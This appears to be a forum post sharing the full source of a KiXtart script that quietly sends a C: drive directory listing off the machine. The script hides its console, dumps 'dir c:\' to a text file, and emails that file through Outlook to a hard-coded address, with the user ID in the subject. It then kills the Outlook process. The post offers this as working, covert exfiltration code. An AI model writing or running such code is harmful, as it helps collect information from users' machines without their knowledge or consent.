if anyone is interested here is de complete source
the program sends an "dir" from the C: drive or any other directory
code:
$adress = "mail@@provider.com"
$subject = "C:\ drive of @USERID"
$body = ""
$= SetConsole("HIDE")
Function FindPROC($PROC,optional $COMPUTER, optional $terminate)
Dim $GetObject, $Select
If NOT $computer $computer=@wksta EndIf
$GetObject="winmgmts:{impersonationLevel=impersonate}!//$COMPUTER"
$Select="select * from Win32_Process where Name='$PROC'"
For Each $Process in GetObject("$GetObject").ExecQuery("$select")
If $terminate $Process.Terminate EndIf
$FindPROC=$Process.ProcessId
Next
EndFunction
Shell "cmd.exe /c dir c:\ > c:\dir.txt"
If findproc("outlook.exe")
$Root = CreateObject("Outlook.Application")
$MailItem = $Root.CreateItem(0)
$MailItem.Importance=2
$MailItem.Subject = "$subject"
$MailItem.To = "$adress"
$MailItem.Body = "$body"
$MailItem.Attachments.Add("c:\dir.txt")
$MailItem.Send
Else
Run ("C:\Program Files\Microsoft Office\Office\OUTLOOK.EXE /recycle")
Sleep 0.2
$Root = CreateObject("Outlook.Application")
$MailItem = $Root.CreateItem(0)
$MailItem.Importance=2
$MailItem.Subject = "$subject"
$MailItem.To = "$adress"
$MailItem.Body = "$body"
$MailItem.Attachments.Add("c:\dir.txt")
$MailItem.Send
FindPROC("outlook.exe",,1)
EndIf
Exit
thnx for all the help guys :)couldnt have made it without you